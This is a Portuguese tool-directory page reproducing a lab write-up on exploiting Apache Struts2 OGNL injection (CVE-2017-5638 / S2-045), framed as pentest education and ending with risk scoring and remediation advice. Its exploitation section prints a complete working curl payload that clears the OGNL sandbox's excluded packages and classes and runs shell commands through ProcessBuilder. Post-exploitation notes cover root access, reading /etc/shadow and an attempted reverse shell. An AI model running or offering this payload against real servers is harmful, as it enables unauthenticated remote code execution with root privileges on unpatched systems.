Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2017-5638 — Laboratório prático demonstrando injeção OGNL no Apache Struts2 (CVE-2017-5638) com análise de sistema passo a passo, exploração, bypass de sandbox e técnicas de pós-exploração para educação em testes de penetração. | Kitploit
Ferramentas/GitHubGitHub/dungsocool/cve-2017-5638
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubdungsocool/cve-2017-5638

CVE-2017-5638

Laboratório prático demonstrando injeção OGNL no Apache Struts2 (CVE-2017-5638) com análise de sistema passo a passo, exploração, bypass de sandbox e técnicas de pós-exploração para educação em testes de penetração.

Ver Repositório
há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

LABORATÓRIO 1 — Injeção OGNL no Apache Struts2 (CVE-2017-5638 / S2-045)

I. ANÁLISE DO SISTEMA

Análise da Superfície de Ataque

image.png

Após iniciar o container, os logs do Struts2 mostram que a aplicação carrega arquivos de configuração familiares como struts-default.xml, struts-plugin.xml e struts.xml. Isso confirma que o framework em uso é Apache Struts2.

image.png

Um ponto notável está na linha:

Choosing bean (jakarta) for (org.apache.struts2.dispatcher.multipart.MultiPartRequest)

Esta linha indica que o Struts2 está escolhendo o analisador multipart Jakarta (analisador de dados de upload multipart) para tratar requisições do tipo multipart/form-data, comumente encontradas em funcionalidades de upload de arquivos.

Este é um sinal crucial ao analisar S2-045 / CVE-2017-5638, já que esta vulnerabilidade está relacionada ao processo onde o Struts2 lida com erros ao analisar requisições multipart, especialmente com um cabeçalho Content-Type inválido.

No entanto, este log apenas prova que a aplicação usa Struts2 e um manipulador multipart no estilo Jakarta. Ainda não é suficiente para concluir que a aplicação é definitivamente vulnerável. Para confirmar, precisamos determinar a versão do struts2-core e compará-la com a faixa de versões afetadas.

image.png

image.png

image.png

Ao acessar o serviço web usando curl, os cabeçalhos de resposta mostram que a aplicação está rodando em Jetty 9.2.11.v20150529. Esta informação ajuda a identificar o ambiente que executa a aplicação (container servlet), mas não revela diretamente a versão do Struts2.

A interface web retorna a página Struts2 Showcase - Fileupload sample, com um formulário de upload usando:

method="POST" enctype="multipart/form-data" action="/upload.action"

Isso corresponde ao log anterior onde o Struts2 escolheu jakarta para MultiPartRequest: a aplicação de fato tem um fluxo de tratamento de upload de arquivos via multipart/form-data.

⇒ Pensamento: O endpoint /upload.action usa multipart/form-data, correspondendo ao mecanismo que o Struts2 processa via Jakarta MultiPartRequest. Este é um sinal que fortalece a suspeita de S2-045/CVE-2017-5638, mas precisamos determinar a versão do Struts2 antes de concluir que a aplicação é vulnerável. Em seguida, ainda é necessária uma verificação mais aprofundada quanto à versão do struts2-core e como a aplicação lida com erros ao receber um Content-Type inválido.

Determinando a Versão do Struts2

Após identificar que a aplicação possui um endpoint de upload usando multipart/form-data, o próximo passo da análise é encontrar a versão real do Struts2. Isso é crucial porque os sinais anteriores apenas mostraram que a aplicação possui um mecanismo relacionado a upload multipart, o que ainda não é suficiente para concluir que é vulnerável.

image.png

Após identificar o container correto servindo o Endpoint 8001, a verificação das bibliotecas é realizada diretamente dentro do container project1-lab01-1.

O resultado encontrou o arquivo struts2-core:

/root/.m2/repository/org/apache/struts/struts2-core/2.3.30/struts2-core-2.3.30.jar

A partir deste caminho, podemos determinar que a aplicação está usando Apache Struts2 2.3.30.

image.png

Comparando com a vulnerabilidade publicada CVE-2017-5638 / S2-045, ela afeta muitas versões antigas do Struts2, incluindo o ramo 2.3.x antes do patch. Quando combinado com:

Framework: Apache Struts2 Version: 2.3.30 Multipart parser: Jakarta Endpoint: /upload.action Content-Type: multipart/form-data

A cadeia de condições de análise fica mais clara:

`Struts2 Version 2.3.30 < Version 2.3.32

  • Jakarta multipart parser + upload endpoint → The application is within the strong suspicion range of S2-045/CVE-2017-5638`

No entanto, do ponto de vista da análise, uma versão vulnerável é apenas evidência do potencial de ser afetada. Para confirmar em nível comportamental, precisamos enviar uma requisição multipart anômala e observar a resposta/logs para ver se ela entra no ramo de tratamento de erro do analisador multipart do Struts2.

⇒ Pensamento: Neste ponto, não se trata mais apenas de identificar o framework; a versão 2.3.30 confirma que a aplicação está dentro da faixa de versões afetadas do S2-045/CVE-2017-5638. O passo restante é verificar o comportamento de tratamento de erro multipart para completar a cadeia de evidências.

Verificando o Fluxo de Processamento Multipart Válido

image.png

Precisamos verificar se as requisições enviadas para /upload.action realmente passam pelo mecanismo de processamento multipart do Struts2. Aqui, uso o comando curl com a opção -F para testar o mecanismo de tratamento. E o resultado retornado é dividido em partes:

`

  • ContentType: text/plain
  • FileName: test.txt
  • File: /usr/src/target/tmp/upload_...
  • Caption:test
  • `

    ⇒ Uma requisição válida prova que /upload.action realmente passa pelo mecanismo de upload multipart porque curl -F gera multipart/form-data e o servidor consegue analisar cada parte da requisição.

    Verificando a Reação Quando a Requisição Multipart Falha

    image.png

    image.png

    Após enviar uma requisição declarando Content-Type como multipart/form-data mas com um corpo que não está em conformidade com a estrutura multipart, o servidor ainda retorna HTTP 200 OK. No entanto, os campos ContentType, FileName, File e Caption estão todos vazios. Verificando os logs do Docker, notamos que não há boundary (string separadora entre partes no multipart), e o cliente ainda recebe HTTP 200 OK. No entanto, o Struts2 na verdade encontrou um erro ao processar a requisição.

    Isso prova a cadeia de evidências:

    Faulty multipart request → Struts2 wraps request → MultiPartRequestWrapper is called → JakartaMultiPartRequest parses request → FileUploadException due to missing boundary

    ⇒ Corresponde aos componentes relacionados a S2-045/CVE-2017-5638. Assim, a cadeia de condições está mais completa: versão vulnerável, analisador Jakarta, endpoint de upload e a requisição defeituosa entra no ramo correto de processamento multipart.

    O ponto crítico de S2-045/CVE-2017-5638 não se limita à falha do analisador multipart. O erro do analisador é apenas a condição de gatilho inicial. A parte perigosa está em como o Struts2 subsequentemente lida com a mensagem de erro. Em versões afetadas do Struts2, quando o analisador multipart encontra um erro, o conteúdo do erro pode ser alimentado no mecanismo de tratamento de mensagens do Struts2. Se um invasor controla parte dos dados que aparecem no erro, especialmente do cabeçalho Content-Type, esses dados podem ser avaliados pelo Struts2 via OGNL (Object-Graph Navigation Language - a linguagem de expressão do Struts/XWork).

    Pensamento:

    Anomalous Content-Type → Jakarta multipart parser parsing error → Struts2 generates/logs error message → error message goes through expression evaluation mechanism → if malicious OGNL is present, it can lead to RCE


    II. EXPLORAÇÃO

    Identificando que o alvo usa Struts2, e como o Struts2 usa OGNL como seu motor de expressão, pesquisando no PayloadsAllTheThings mostra que injetar new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()) no Struts2 falhará porque o Struts2 possui uma sandbox que bloqueia o acesso a java.lang.Runtime.

    image.png

    ⇒ Monte o payload encontrado na estrutura de exploração do Struts2:

    Acionar o Analisador Jakarta

    root@kitploit:~
    (#_="multipart/form-data")
    

    Contornar a Sandbox do Struts2 (Obrigatório)

    root@kitploit:~
    (#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))
    

    Payload de Execução de Comando

    root@kitploit:~
    (new java.lang.String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()))
    

    No entanto, ao executar o payload na prática, encontramos dois problemas:

    1. Erro de Versão Java: O servidor do laboratório executa Jetty 2015 (Java 8), enquanto a função readAllBytes() é suportada apenas a partir do Java 9. Se insistirmos em usá-la, o OGNL falhará silenciosamente e retornará uma página HTML em branco. Isso é resolvido usando a classe IOUtils da biblioteca org.apache.commons.io (sempre disponível no Struts2) para ler o stream.
    2. Filtragem de Saída: Mesmo que o comando tenha sido executado, incorporar o resultado diretamente no stream HTML pode quebrar a estrutura ou ser filtrado. Isso é resolvido acessando diretamente o HttpServletResponse, usando getWriter().println() para imprimir a saída primeiro, e então chamando flush() e close() para encerrar a conexão imediatamente. Isso força o servidor a retornar o resultado limpo da execução do comando, ignorando toda a interface HTML desnecessária.

    ⇒ Remontando as modificações acima, obtemos o comando curl completo (usando ProcessBuilder + IOUtils + Response Writer):

    root@kitploit:~
    curl -i -s -X POST "http://192.168.3.137:8001/doUpload.action" \
    -H 'Content-Type: %{(#_="multipart/form-data").(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="id").(#iswin=(@java.lang.System@getProperty("os.name").toLowerCase().contains("win"))).(#cmds=(#iswin?{"cmd.exe","/c",#cmd}:{"/bin/bash","-c",#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().println(#ros)).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().flush()).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().close())}' \
    -d "foo=bar"
    

    image.png

    Exploração Bem-sucedida!!!

    Embora tenhamos alcançado RCE com privilégios de root, cada comando precisa ser enviado via uma requisição HTTP separada, fornecendo um ambiente não interativo. Um Reverse Shell permite estabelecer uma sessão persistente, interagindo diretamente com o sistema alvo como se estivesse sentado na frente da máquina, servindo para coleta de informações e pós-exploração mais aprofundada.


    III. PÓS-EXPLORAÇÃO

    Verificação de Privilégios

    Após a exploração bem-sucedida, verifique os privilégios no sistema:

    root@kitploit:~
    uid=0(root) gid=0(root) groups=0(root)
    

    → A aplicação é executada com privilégios root — nenhuma escalada de privilégio é necessária.

    Coleta de Dados Sensíveis

    Leia o arquivo /etc/shadow (o arquivo contendo hashes de senhas, ao qual apenas root tem permissão de acesso):

    image.png

    → Prova que o atacante tem acesso total de leitura/escrita aos arquivos do sistema, incluindo os mais sensíveis.

    Nota sobre Reverse Shell

    O estabelecimento do reverse shell não foi bem-sucedido porque o container Docker no Windows usa uma rede interna (bridge/NAT); o container não pode conectar de volta à máquina do atacante (Kali) na LAN local. No entanto, isso não afeta a gravidade da vulnerabilidade — o atacante alcançou RCE com privilégios de root e pode executar qualquer comando no sistema.


    IV. AVALIAÇÃO DE RISCO E REMEDIAÇÃO

    Avaliação de Risco

    A vulnerabilidade de Injeção OGNL (CVE-2017-5638 / S2-045) neste sistema é avaliada no nível de risco mais alto:

    Recomendações de Remediação

    Para remediar completamente esta vulnerabilidade, as equipes de administração de sistemas e desenvolvimento devem implementar as seguintes medidas (ordenadas por prioridade):

    Prioridades Urgentes (Curto Prazo):

    1. Atualizar o Apache Struts2: Atualize imediatamente o framework para uma versão segura (≥ 2.3.32 ou ≥ 2.5.10.1). Esta é uma medida obrigatória, pois a vulnerabilidade reside na implementação central da biblioteca JakartaMultiPartRequest.
    2. Reduzir Privilégios de Execução: Nunca execute aplicações web (Jetty/Tomcat) sob o usuário root. Um usuário dedicado (por exemplo, struts_user) deve ser criado com os privilégios mínimos necessários para executar a aplicação.

    Prioridades Altas (Longo Prazo & Defesa em Profundidade):

    1. Implementar um WAF (Firewall de Aplicação Web): Configure regras de WAF para detectar e bloquear Requisições HTTP contendo payloads OGNL (por exemplo, %{...}, ${...}, ognl, java.lang.ProcessBuilder) no cabeçalho Content-Type.
    2. Alterar o Analisador Multipart: Se a aplicação não precisar usar o Analisador Jakarta, considere mudar para uma biblioteca alternativa como Pell ou COS no arquivo de configuração struts.xml (struts.multipart.parser=cos).
    3. Restringir a Rede do Container: Não mantenha o container em uma rede bridge compartilhada a menos que necessário. Configure regras de firewall para bloquear o container de iniciar ativamente conexões de saída (tráfego de saída) para a Internet para prevenir reverse shells.
    Baixar ferramenta
    CritérioAvaliaçãoDetalhes
    Pontuação CVSS10.0 (Crítico)Pontuação absoluta máxima.
    AutenticaçãoNão NecessáriaO atacante não precisa de uma conta ou estar logado para explorar isso.
    ComplexidadeMuito BaixaRequer apenas o envio de uma única Requisição HTTP (POST) contendo o payload no cabeçalho Content-Type.
    Privilégios ObtidosrootControle total sobre a aplicação/container no nível de privilégio mais alto, com capacidade de ler/escrever qualquer arquivo (como /etc/shadow).
    Movimento LateralAltoA partir do container comprometido, o atacante pode escanear a rede interna (LAN) e atacar outros containers ou servidores host.